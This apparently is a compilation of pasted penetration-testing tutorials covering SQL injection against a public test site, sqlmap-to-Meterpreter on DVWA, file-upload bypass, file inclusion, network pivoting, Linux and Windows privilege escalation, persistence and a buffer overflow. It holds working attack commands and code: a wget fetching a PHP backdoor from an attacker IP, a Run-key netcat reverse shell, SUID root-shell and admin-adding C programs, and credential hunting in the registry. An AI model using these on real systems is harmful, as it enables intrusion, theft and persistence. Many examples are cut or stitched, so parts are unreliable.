in a response, you need to determine whether the data is indeed being stored across different
requests, as opposed to being simply reflected in the immediate response.
When you have identified links between entry and exit points in the application's processing,
each link needs to be specifically tested to detect if a stored XSS vulnerability is present. This
involves determining the context within the response where the stored data appears and
testing suitable candidate XSS payloads that are applicable to that context. At this point, the
testing methodology is broadly the same as for finding reflected XSS vulnerabilities.
https://portswigger.net/web-security/cross-site-scripting/stored
https://github.com/kensworth/cookie-stealer
SQL Injection
A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from
the client to the application. A successful SQL injection exploit can read sensitive data from the
database, modify database data (Insert/Update/Delete), execute administration operations on
the database (such as shutdown the DBMS), recover the content of a given file present on the
DBMS file system and in some cases issue commands to the operating system. SQL injection
attacks are a type of injection attack, in which SQL commands are injected into data-plane
input in order to affect the execution of predefined SQL commands.
Examples
Example 1
select id, firstname, lastname from authors where firstname = 'evil'ex' and lastname
='newman'
A safe version of the above SQL statement could be coded in Java as:
String firstname = req.getParameter("firstname");
String query = "SELECT id, firstname, lastname FROM authors WHERE firstname = ? and
lastname = ?";
pstmt.setString( 1, firstname );
pstmt.setString( 2, lastname );
try
Example 2
The following C# code dynamically constructs and executes a SQL query that searches for
items matching a specified name. The query restricts the items displayed to those where
owner matches the user name of the currently-authenticated user.
...
+ ItemName.Text + "'";
sda.Fill(dt);
...
WHERE owner =
AND itemname = ;
The addition of the OR 'a'='a' condition causes the where clause to always evaluate to true, so
the query becomes logically equivalent to the much simpler query:
This simplification of the query allows the attacker to bypass the requirement that the query
only return items owned by the authenticated user; the query now returns all entries stored in
the items table, regardless of their specified owner.
Example 3
This example examines the effects of a different malicious value passed to the query
constructed and executed in Example 1. If an attacker with the user name hacker enters the
string "name'); DELETE FROM items; --" for itemName, then the query becomes the following
two queries:
--'
Many database servers, including Microsoft® SQL Server 2000, allow multiple SQL statements
separated by semicolons to be executed at once. While this attack string results in an error in
Oracle and other database servers that do not allow the batch-execution of statements
separated by semicolons, in databases that do allow batch execution, this type of attack allows
the attacker to execute arbitrary commands against the database.
Notice the trailing pair of hyphens (--), which specifies to most database servers that the
remainder of the statement is to be treated as a comment and not executed. In this case the
comment character serves to remove the trailing single-quote left over from the modified
query. In a database where comments are not allowed to be used in this way, the general
attack could still be made effective using a trick similar to the one shown in Example 1. If an
attacker enters the string "name'); DELETE FROM items; SELECT \* FROM items WHERE 'a'='a",
the following three valid statements will be created:
One traditional approach to preventing SQL injection attacks is to handle them as an input
validation problem and either accept only characters from an allow list of safe values or
identify and escape a deny list of potentially malicious values. An allow list can be a very
effective means of enforcing strict input validation rules, but parameterized SQL statements
require less maintenance and can offer more guarantees with respect to security. As is almost
always the case, deny listing is riddled with loopholes that make it ineffective at preventing
SQL injection attacks. For example, attackers can:
Manually escaping characters in input to SQL queries can help, but it will not make your
application secure from SQL injection attacks.
Another solution commonly proposed for dealing with SQL injection attacks is to use stored
procedures. Although stored procedures prevent some types of SQL injection attacks, they fail
to protect against many others. For example, the following PL/SQL procedure is vulnerable to
the same SQL injection attack shown in the first example.
procedure get_item (
usr in varchar2,
itm in varchar2)
is
end get_item;
Stored procedures typically help prevent SQL injection attacks by limiting the types of
statements that can be passed to their parameters. However, there are many ways around the
limitations and many interesting statements that can still be passed to stored procedures.
Again, stored procedures can prevent some exploits, but they will not make your application
secure against SQL injection attacks.
Related Attacks
• Double Encoding
• ORM Injection
https://owasp.org/www-community/attacks/SQL_Injection
http://testphp.vulnweb.com/artists.php?artist=1
Now use error base technique by adding an apostrophe (‘) symbol at the end of input which
will try to break the query.
testphp.vulnweb.com/artists.php?artist=1'
In the given screenshot you can see we have got an error message which means the running
site is infected by SQL injection.
Now using ORDER BY keyword to sort the records in ascending or descending order for id=1
http://testphp.vulnweb.com/artists.php?artist=1 order by 1
http://testphp.vulnweb.com/artists.php?artist=1 order by 2
http://testphp.vulnweb.com/artists.php?artist=1 order by 4
From the screenshot, you can see we have got an error at the order by 4 which means it
consists only three records.
Let’s penetrate more inside using union base injection to select statement from a different
table.
From the screenshot, you can see it is show result for only one table not for others.
Now try to pass wrong input into the database through URL by replacing artist=1 from artist=-
1 as given below:
Hence you can see now it is showing the result for the remaining two tables also.
From the screenshot, you can read the database name acuart
Next query will extract the current username as well as a version of the database system
Here we have retrieve 5.1.73 0ubuntu0 10.04.1 as version and acuart@localhost as the
current user
Through the next query, we will try to fetch table name inside the database
From the screenshot you read can the name of the first table is artists.
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from
information_schema.tables where table_schema=database() limit 1,1
From the screenshot you can read the name of the second table is carts.
Similarly, repeat the same query for another table with slight change
Similarly repeat the same query for table 4, 5, 6, and 7 with making slight changes in LIMIT.
Since we didn’t get anything when the limit is set 8, 1 hence there might be 8 tables only inside
the database.
the concat function is used for concatenation of two or more string into a single string.
From screen you can see through concat function we have successfully retrieved all table
name inside the
database.
Table 1: artist
Table 2: Carts
Table 3: Categ
Table 4: Featured
Table 5: Guestbook
Table 6: Pictures
Table 7: Product
Table 8: users
Maybe we can get some important data from the users table, so let’s penetrate more
inside. Again Use the concat function for table users for retrieving its entire column names.
Awesome!! We successfully retrieve all eight column names from inside the table users.
Then I have chosen only four columns i.e. uname, pass, email and cc for further enumeration.
Use the concat function for selecting uname from table users by executing the following query
through URL
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from
users
Use the concat function for selecting pass from table users by executing the following query
through URL
Use the concat function for selecting cc (credit card) from table users by executing the
following query through URL
Enjoy hacking!!
https://www.hackingarticles.in/manual-sql-injection-exploitation-step-step/
Sqlmap automates the process of detecting and exploiting SQL injection vulnerability and
taking over of database servers. Sqlmap comes with a detection engine, as well as a broad
range of Penetration Testing (PT) features that range from DB fingerprinting to accessing the
underlying file system and executing commands on the operating system via out-of-band
connections.
Below is the list of most useful important SQLMAP Commands which you can use against your
vulnerable target:
1. GET Request
2. From File
sqlmap -r request.txt
4. POST Request
5. Using Cookies
sqlmap -u http://example.com/enter.php --
cookie="PHPSESSID=45634b63g643f563456g4356g" -u http://example.com/index.php?id=1
7. Identify Current DB
8. Extract Tables
9. Extract Columns
11. Multithreading
12. Null-Connection
19. OS shell
23. Crawling
sqlmap -u http://example.com/page.php?id=1 -v 3
https://techhyme.com/top-sqlmap-commands-for-exploitation-of-sql-injection/
Meterpreter OS-Shell
DVWA
We’ll use the DVWA vulnerable web application to demonstrate this feature of the sqlmap
tool. But if you have not configured this web application then you can configure it by
going here. When we enter a numeric string after it enters the SQL injection section, we get
information about users on the web application, which seems like that the web application is
vulnerable to the vulnerability of SQL injection.
We will use the HTTP request to dump the database due to which we use the burpsuite tool to
retrieve the HTTP request. Just copy the entire request.
Now we will create a file in which we will paste the entire copied HTTP request on it.
OS Shell
Originally this feature is provided to obtain the web application’s operating system shell (web
server). Just we need to add “–os-shell” option after the HTTP request file and execute the
command.
Amazing !! It will try multiple combinations of directories via brute force techniques to
identify writable permissions. As you can see we are able to access web server files.
OS-shell to Meterpreter
Now we will create php backdoor through MSFPC tool, but in your case you can create it
according to any tool. After the payload is created, we rename the file and start the python
service to download the payload via the wget tool.
3python -m SimpleHTTPSevrer
Now we will return to the web server’s cmd shell and upload our PHP backdoor via the wget
command.
1wget -N 192.168.1.17:8000/secnhack.php
As you can see, our php backdoor is uploaded at the following location of the web server.
Now we will copy the entire location searched by “pwd” command and paste it on the browser
with php backdoor. Let’s execute it.
1http://192.168.1.13/DVWA/vulnerabilities/sqli/secnhack.php
Boom !! The wait is over as soon as we execute the location of the php backddor on the
browser, we get the meterpreter session of the web server.
1use exploit/multi/handler
5run
https://secnhack.in/take-meterpreter-of-website-using-sqlmap-os-shell/
The consequences of unrestricted file upload can vary, including complete system takeover, an
overloaded file system or database, forwarding attacks to back-end systems, client-side
attacks, or simple defacement. It depends on what the application does with the uploaded file
and especially where it is stored.
There are really two classes of problems here. The first is with the file metadata, like the path
and file name. These are generally provided by the transport, such as HTTP multi-part
encoding. This data may trick the application into overwriting a critical file or storing the file in
a bad location. You must validate the metadata extremely carefully before using it.
The other class of problem is with the file size or content. The range of problems here depends
entirely on what the file is used for. See the examples below for some ideas about how files
might be misused. To protect against this type of attack, you should analyse everything your
application does with files and think carefully about what processing and interpreters are
involved.
Examples
• Upload .jsp file into web tree - jsp code executed as the web user
• Upload .gif file to be resized - image library flaw exploited
• Upload file containing “tags” - tags get executed as part of being “included” in a web
page
• Upload .exe file into web tree - victims download trojaned executable
• Upload .html file containing script - victim experiences Cross-site Scripting (XSS)
• Upload .jpg file containing a Flash object - victim experiences Cross-site Content
Hijacking.
• Upload .rar file to be scanned by antivirus - command executed on a client running the
vulnerable antivirus software
https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
https://book.hacktricks.xyz/pentesting-web/file-upload
Let’s start by creating a malicious PHP file that we actually want to upload, since our test.php
isn’t really going to do us any good. I like to use this PHP webshell one-liner to create
webshell.php.
With this file created, let’s spin up BurpSuite and route our traffic through it. With Burp
running, I’m going to attempt to upload webshell.php so we can look at the request.
Obviously this will fail to upload as well, just like the previous PHP file failed to upload. While
we’re here, let’s leave Burp running and upload a valid PNG file again so we can compare the
two requests within BurpSuite and spot the difference.
Within the Burp proxy HTTP History tab, we’re able to see both requests.
At this time, we’re not sure what checks the web application is performing to verify PNG
uploads. It would be simple enough to try a bypass that just changes the filename of
“webshell.php” to “webshell.png.php”, so lets send our PHP request to Repeater and see what
happens when we make this simple modification.
That didn’t work. Alright, so we need to do something more. In addition to the above change,
let’s also adjust the Content-Type to match what the valid PNG file had.
https://infinitelogins.com/2020/08/07/file-upload-bypass-techniques/
LFI vulnerabilities allow an attacker to read (and sometimes execute) files on the victim
machine. This can be very dangerous because if the web server is misconfigured and running
with high privileges, the attacker may gain access to sensitive information. If the attacker is
able to place code on the web server through other means, then they may be able to execute
arbitrary commands.
Once we are authenticated, click on the “DVWA Security” tab on the left panel. Set the security
level to ‘low’ and click ‘Submit’, then select the “File Inclusion” tab.
On the file inclusion page, click on the view source button on the bottom right. If your security
setting is successfully set to low, you should see the following source code:
This piece of code in itself is not actually vulnerable, so where is the vulnerability? For a regular
attacker who does not already have root access to the machine, this could be where their
investigation ends. The $_GET variable is interesting enough that they would begin testing or
scanning for file inclusion. Since we already have root access to the machine, lets try harder
and see if we can find out where the vulnerability comes from.
Looking at the output, we can see that there is a switch statement on line 15, which takes the
security setting as input and breaks depending on which setting is applied. Since we have
selected ‘low’, the code proceeds to call /source/low.php. If we look farther down
in index.php, we can see that line 35 says:
include($file);
And there we have it! We’ve found the location of the vulnerability. This code is vulnerable
because there is no sanitization of the user-supplied input. Specifically, the $file variable is not
being sanitized before being called by the include() function.
If the web server has access to the requested file, any PHP code contained inside will be
executed. Any non-PHP code in the file will be displayed in the user’s browser.
Now that we understand how a file inclusion vulnerability can occur, we will exploit the
vulnerabilities on the include.php page.
http://192.168.80.134/dvwa/vulnerabilities/fi/?page=../../../../../../etc/passwd
The ‘../’ characters used in the example above represent a directory traversal. The number of
‘../’ sequences depends on the configuration and location of the target web server on the
victim machine. Some experimentation may be required.
https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/
Pivoting Techniques
SSH
SOCKS Proxy
ssh -D8080 [user]@[host]
[ENTER] + [~C]
-D 1090
Proxychains
Config file: /etc/proxychains.conf
[ProxyList]
socks4 localhost 8080
Graftcp
A flexible tool for redirecting a given program's TCP traffic to SOCKS5 or HTTP
proxy.
⚠️ Same as proxychains, with another mechanism to "proxify" which allow Go
applications.
# https://github.com/hmgle/graftcp
# Create a SOCKS5, using Chisel or another tool and forward it through SSH
(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS
(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -
reverse
(victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-
local.conf
## Listen address (default ":2233")
listen = :2233
loglevel = 1
• tunnel.ashx
• tunnel.aspx
• tunnel.js
• tunnel.jsp
• tunnel.nosocket.php
• tunnel.php
• tunnel.tomcat.5.jsp
optional arguments:
-h, --help show this help message and exit
-l , --listen-on The default listening address
-p , --listen-port The default listening port
-r , --read-buff Local read buffer, max data to be sent per POST
-u , --url The url containing the tunnel script
-v , --verbose Verbose output[INFO|DEBUG]
Metasploit
# Meterpreter list active port forwards
portfwd list
or
# Use Meterpreters autoroute script to add the route for specified subnet
192.168.15.0
run autoroute -s 192.168.15.0/24
use auxiliary/server/socks_proxy
set SRVPORT 9090
set VERSION 4a
# or
use auxiliary/server/socks4a # (deprecated)
route #Meterpreter view available networks the compromised host can access
# Meterpreter add route for 192.168.14.0/24 via Session number.
route add 192.168.14.0 255.255.255.0 3
# Meterpreter delete route for 192.168.14.0/24 via Session number.
route delete 192.168.14.0 255.255.255.0 3
# Meterpreter delete all routes
route flush
Empire
(Empire) > socksproxyserver
(Empire) > use module management/invoke_socksproxy
(Empire) > set remoteHost 10.10.10.10
(Empire) > run
sshuttle
Transparent proxy server that works as a poor man's VPN. Forwards over ssh.
chisel
go get -v github.com/jpillora/chisel
# SOCKS
user@victim$ .\chisel.exe client YOUR_IP:8008 R:socks
SharpChisel
A C# Wrapper of Chisel : https://github.com/shantanu561993/SharpChisel
Ligolo
Ligolo : Reverse Tunneling made easy for pentesters, by pentesters
1. Build Ligolo
make build-all
2. Use Ligolo
Gost
Wiki English : https://docs.ginuerzh.xyz/gost/en/
git clone https://github.com/ginuerzh/gost
cd gost/cmd/gost
go build
# Socks5 Proxy
Server side: gost -L=socks5://:1080
Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true
Rpivot
Server (Attacker box)
revsocks
# Listen on the server and create a SOCKS 5 proxy on port 1080
user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234
plink
# exposes the SMB port of the machine in the port 445 of the SSH Server
plink -l root -pw toor -R 445:127.0.0.1:445
# exposes the RDP port of the machine in the port 3390 of the SSH Server
plink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389
ngrok
# get the binary
wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
cloudflared
# Get the binary
wget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgz
tar xvzf cloudflared-stable-linux-amd64.tgz
# Expose accessible internal service to the internet
./cloudflared tunnel --url <protocol>://<host>:<port>
• Linux (tcpdump)
• sudo apt-get install tcpdump
• tcpdump -w 0001.pcap -i eth0
• tcpdump -A -i eth0
•
• # capture every TCP packet
• tcpdump -i eth0 tcp
•
• # capture everything on port 22
tcpdump -i eth0 port 22
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20
Resources/Network%20Pivoting%20Techniques.md
https://infosecwriteups.com/pivoting-techniques-with-thm-wreath-95fecba1b580
https://zindagitech.com/hacking-methodology-how-to-do-network-pivoting/
Privilege Escalation
Privilege Escalation
Once we have a limited shell it is useful to escalate that shells privileges. This
way it will be easier to hide, read and write any files, and persist between
reboots.
• Kernel exploits
• Programs running as root
• Installed software
• Weak/reused/plaintext passwords
• Inside service
• Suid misconfiguration
• Abusing sudo-rights
• World writable scripts invoked by root
• Bad path configuration
• Cronjobs
• Unmounted filesystems
Enumeration scripts
I have used principally three scripts that are used to enumerate a machine.
They are some difference between the scripts, but they output a lot of the
same. So test them all out and see which one you like best.
LinEnum
https://github.com/rebootuser/LinEnum
http://pentestmonkey.net/tools/audit/unix-privesc-check
Run the script and save the output in a file, and then grep for warning in it.
Linprivchecker.py
https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py
OS:
Architecture:
Kernel version:
uname -a
cat /proc/version
cat /etc/issue
Search for exploits
site:exploit-db.com kernel version
# Linux
ps aux
Mysql
If you find that mysql is running as root and you username and password to
log in to the database you can issue the following commands:
select sys_exec('whoami');
select sys_eval('whoami');
If neither of those work you can use a User Defined Function/
# Debian
dpkg -l
# OpenBSD, FreeBSD
pkg_info
Weak/reused/plaintext passwords
• Check file where webserver connect to database ( config.php or similar)
• Check databases for admin passwords that might be reused
• Check weak passwords
username:username
username:username1
username:root
username:admin
username:qwerty
username:password
Check the netstat and compare it with the nmap-scan you did from the
outside. Do you find more services available from the inside?
# Linux
netstat -anlp
netstat -ano
For example, these are some programs that can be used to spawn a shell:
nmap
vim
less
more
If these programs have suid-bit set we can use them to escalate privileges
too. For more of these and how to use the see the next section about abusing
sudo-rights:
nano
cp
mv
find
Find suid and guid files
#Find SUID
find / -perm -u=s -type f 2>/dev/null
#Find GUID
find / -perm -g=s -type f 2>/dev/null
Abusing sudo-rights
If you have a limited shell that has access to some programs using sudo you
might be able to escalate your privileges with. Any program that can write or
overwrite can be used. For example, if you have sudo-rights to cp you can
overwrite /etc/shadow or /etc/sudoers with your own malicious file.
awk
awk 'BEGIN {system("/bin/bash")}'
bash
cp
Copy and overwrite /etc/shadow
find
sudo find / -exec bash -i \;
:set shell=/bin/bash:shell
:!bash
How I got root with sudo/
Cronjob
With privileges running script that are editable for other users.
Look for anything that is owned by privileged user but writable for you:
crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
Unmounted filesystems
Here we are looking for any unmounted filesystems. If we find one we mount
it and start the priv-esc process over again.
mount -l
cat /etc/fstab
NFS Share
If you find that a machine has a NFS share you might be able to use that to
escalate privileges. Depending on how it is configured.
# First check if the target machine has any NFS shares
showmount -e 192.168.1.101
This code can be compiled and added to the share. Before executing it by
your low-priv user make sure to set the suid-bit on it, like this:
chmod 4777 exploit
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main()
{
setuid(0);
system("/bin/bash");
return 0;
}
# Who am I?
whoami
echo %username%
# Firewall
netsh firewall show state
netsh firewall show config
# Network
ipconfig /all
route print
arp -A
Cleartext Passwords
Search for them
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
In Files
These are common files to find them in. They might be base64-encoded. So
look out for that.
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
In Registry
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
If that is the case, maybe you can make a remote forward to access it.
# Port forward using plink
plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
Scheduled Tasks
Here we are looking for tasks that are run by a privileged user, and run a
binary that we can overwrite.
schtasks /query /fo LIST /v
This might produce a huge amount of text. I have not been able to figure out
how to just output the relevant strings with findstr. So if you know a better
way please notify me. As for now I just copy-paste the text and past it into my
linux-terminal.
Yeah I know this ain't pretty, but it works. You can of course change the name
SYSTEM to another privileged user.
cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
If you find a service that has write permissions set to everyone you can
change that binary into your custom binary and make it execute in the
privileged context.
First we need to find services. That can be done using wmci or sc.exe. Wmci is
not available on all windows machines, and it might not be available to your
user. If you don't have access to it, you can use sc.exe.
WMCI
wmic service list brief
This will produce a lot out output and we need to know which one of all of
these services have weak permissions. In order to check that we can use
the icacls program. Notice that icacls is only available from Vista and up. XP
and lower has cacls instead.
As you can see in the command below you need to make sure that you have
access to wimc, icacls and write privilege in C:\windows\temp.
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i
"pathname"^|find /i /v "system32"') do @echo %a >>
c:\windows\temp\permissions.txt
sc.exe
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
What we are interested in is binaries that have been installed by the user. In
the output you want to look for BUILTIN\Users:(F). Or where your
user/usergroup has (F) or (C) rights.
Example:
C:\path\to\file.exe
BUILTIN\Users:F
BUILTIN\Power Users:C
BUILTIN\Administrators:F
NT AUTHORITY\SYSTEM:F
That means your user has write access. So you can just rename the .exe file
and then add your own malicious binary. And then restart the program and
your binary will be executed instead. This can be a simple getsuid program or
a reverse shell that you create with msfvenom.
Here is a POC code for getsuid.
#include <stdlib.h>
int main ()
{
int i;
i = system("net localgroup administrators theusername /add");
return 0;
}
We then compile it with mingw like this:
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
Restart the Service
Okay, so now that we have a malicious binary in place we need to restart the
service so that it gets executed. We can do this by using wmic or net the
following way:
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name].
The binary should now be executed in the SYSTEM or Administrator context.
If your meterpreter session dies right after you get it you need migrate it to a
more stable service. A common service to migrate to is winlogon.exe since it
is run by system and it is always run. You can find the PID like this:
wmic process list brief | find "winlogon"
So when you get the shell you can either type migrate PID or automate this so
that meterpreter automatically migrates.
http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html
# Using sc
sc query
sc qc service name
Exploit It
AlwaysInstallElevated
reg query
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
http://toshellandback.com/2015/11/24/ms-priv-esc/
# Look up ip-addres
nslookup nameofserver.whatever.local
# Now we mount it
net use z: \\192.168.1.101\SYSVOL
# And enter it
z:
# Now we set the time we want the system CMD to start. Probably one minuter
after the time.
at 01:23 /interactive cmd.exe
And then the cmd with SYSTEM privs pops up.
Kitrap
On some machines the at 20:20 trick does not work. It never works on
Windows 2003 for example. Instead you can use Kitrap. Upload both files and
execute vdmaillowed.exe. I think it only works with GUI.
vdmallowed.exe
vdmexploit.dll
Using Metasploit
So if you have a metasploit meterpreter session going you can run getsystem.
Post modules
Some interesting metasploit post-modules
First you need to background the meterpreter shell and then you just run the
post modules.
You can also try some different post modules.
use exploit/windows/local/service_permissions
post/windows/gather/credentials/gpp
run post/windows/gather/credential_collector
run post/multi/recon/local_exploit_suggester
run post/windows/gather/enum_shares
run post/windows/gather/enum_snmp
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/checkvm
Persistence
Persistence is a technique widely used by red teaming professionals and adversaries to
maintain a connection with target systems after interruptions that can cut off their access. In
this context, persistence includes access and configuration to maintain the initial foothold of
the systems.
The DLL proxy technique is commonly used for traffic interception, but it
can also be a good friend for persistence. In short, a portable executable file
(program.exe) can call a legitimate.dll file with some exported functions,
such as exportedFunction1, exportedFunction2, and exportedFunction3. To
perform this technique, we need to create a target DLL with the same
exported functions, rename it to the original name, introduce the
customized code, and forward the execution to the original DLL
(legitimate1.dll). The next image presents the described scenario in detail.
Before the DLL proxy technique: program.exe calls the functions from the
legitimate.dll.
After the DLL proxy technique: program.exe calls the “exportedFunction1”
from the original DLL (legitimate.dll – the hooked DLL), the persistent code
is loaded into the memory, for instance, a code capable of running a bind
shell, and the execution is forwarded to the original DLL renamed to
“legitimate1.dll”.
A potential code to perform this task is presented below. On the left side,
we can see all the legitimate exported calls. The proxy is achieved on the
right side using a linker to the right DLL (the original one), and the malicious
or persistence is executed when the DLL process is attached.
More details about this technique can be found here.
The following line can create a scheduled task that will execute every
minute. After that, a shell under the C:\tmp\shell.cmd path is executed.
schtasks /create /sc minute /mo 1 /tn "persistenttask" /tr C:\tmp\shell.cmd /ru "SYSTEM"
With this technique in place, any program can be launched when the user
starts the legitimate program by clicking on the shortcut file. For instance,
Google Chrome or Microsoft Edge could be good candidates to perform this
technique during a red teaming exercise.
The following code can be used to execute the nc.exe file and start a remote
shell when the machine starts.
REG ADD HKEY_CURRENT_USER\SOFTWARE\Microsoft\CurrentVersion\Run /v 1 /d
"C:\Users\guest\Downloads\nc.exe -e cmd.exe IP PORT"
On the other side, a target file can also be dropped into the startup folder
located at:
C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup.
MITRE defines this technique as T1547, and more details about it can be
found here.
https://resources.infosecinstitute.com/topic/red-teaming-persistence-
techniques/#:~:text=Persistence%20is%20a%20technique%20widely,initial%20foothold%20of
%20the%20systems.
Or, maybe the way to compromise the machine is really complicated or noisy
and you don't want to go through the hassle of doing it all again. So instead
you just create a backdoor that you can enter fast and easy.
SSH key
Add key to existing ssh-account.
Cronjob NC
Create cronjob that connects to your machine every 10 minutes. Here is an
example using a bash-reverse-shell. You also need to set up a netcat
listener.
Backdoor in webserver
You can put a cmd or shell-backdoor in a webserver.
Mysql-backdoor
Mysql backdoor
https://gist.github.com/dergachev/7916152
Setuid on text-editor
You can setuid on an editor. So if you can easily enter as a www-data, you
can easily escalate to root through the editor.
With vi it is extremely easy. You just run :shell, and it gives you a shell.
# Make root the owner of the file
chown root myBinary
Buffer Overflow
Buffer Overflow Abusing EIP Control
A Buffer overflow occurs when a program or a process attempts to write extra data to a fixed-
length block of memory referred to as a buffer. By sending carefully crafted input to an
application, an attacker can cause the application to execute arbitrary code, possibly taking
over the machine.
several methods exist for detecting initial buffer overflow in applications, ranging from
manually reading the code to automated testing using fuzzing techniques. For this blog, We
are going to use a simple C program that has a vulnerable function and an unused function.
The source code for the program is as shown be
#include <stdio.h>
#include <unistd.h>
int helper() {
system(“touch pwnd.txt”);
}
int overflow() {
char buffer[500];
i nt userinput;
userinput = read(0, buffer, 700);
printf(“\nUser provided %d bytes. Buffer content is: %s\n”, userinput, buffer);
return 0;
}
int main (int argc, char * argv[]) {
overflow();
return 0;
}
The main function calls the overflow function that has a buffer size of 500 bytes. However, a
user is allowed to write more than what is declared in the buffer, which is up to 700 bytes.
There is also an unused function. This is a piece of code within a program that is not used,
which may happen, e.g., due to a developer’s error of not removing unused functions. It’s
called dead code and it simply creates a file on the system called “pwned.txt”. This blog post
demonstrates how to exploit the EIP register to execute this dead code. For this
demonstration, we are going to disabled protective measures, like Address Space Layout
Randomization (ASLR), that may interfere with a clear demonstration of the buffer overflow
issue. There are ways to bypass these measures which we are going to cover in the coming
articles. To compile to program and disable ASLR;
The compiled binary is a 32-bit Linux executable (elf file), when executed it waits for user input
and displays it.
Now the code has been compiled and the smasher program was created, let's fire up gdb, the
Linux command line debugger. If you are unfamiliar with gdb the remainder of this article will
probably seem pretty intimidating. I promise it’s not nearly as scary and alien as it
seems, gdb is a debugger like any other. let start by listing all functions using info
functions command
program functions
The three key functions as explained earlier are as shown above. Even if you do not know the
source code, it is possible to find and disassemble the “helper” function. From the dump, the
buffer variable is pushed onto the stack before the call to System(). This is performed via
moving the address of [eax-0x1ff8] to the EDX (lea instruction), and then pushing it onto the
stack as an argument to the system() function (push edx). As the arguments are set up,
system() is called. The memory address of the helper function can be printed using p
helper command.
helper function
One rule of the thump when it comes to reverse engineering and assembly is NOT to analyze
code line by line but to concentrate more on function calls, stack operations and file
write/read.
when we feed the program with junk characters, i.e values that exceed the buffer size, it
crushes as the extra character overflow to the adjustment EIP register replacing its contents. i
created test character using python;
The segmentation fault error is an error the CPU produces when a program tries to access a
part of the memory it should not be accessing. It didn’t happen because a piece of memory
was overwritten, it happened because the return address was overwritten
with 0x41414141 (hex for ‘A’). There’s nothing at address 0x41414141 and if there is, it does
not belong to the program so it is not allowed to read it. This produces the segmentation fault.
This means that we can control EIP and run any code or call any function that we want since
EIP always contains the address of the next instruction to be executed. Meanwhile, we still
need to know the exact number of junk characters that are needed to cause the crash. We
would then be able to precisely overwrite the EIP with our controlled data. There are various
methods to calculate the offset from the beginning of the buffer to the EIP. we will use
metasploit pattern_create.rb and pattern_offset.rb tools to achieve this. to create test
characters, open linux terminal and run;
offset address
offset value
with this in mind, we are finally going to build an exploit to replace the EIP address with the
address of the helper function (identified earlier). To meet the requirements of the memory
storage format, we need to send helper function address (0x565561b9) to the buffer in
reverse order: b9 61 55 56.
developed exploit
Address in EIP to be executed next
Just as we expected, the helper function address was loaded to the EIP and got executed to
create a file pwnd.txt as shown above. Since we supplied an additional
address 0x43434343, the program crashed again with a segmentation fault, however, this is
just for demonstration purposes you can as well run it without including this additional address
and you will not experience the scary segmentation fault.
In the next article, we will be generating and injecting a shellcode that will spawn /bin/bash
whenever EIP control is abused.
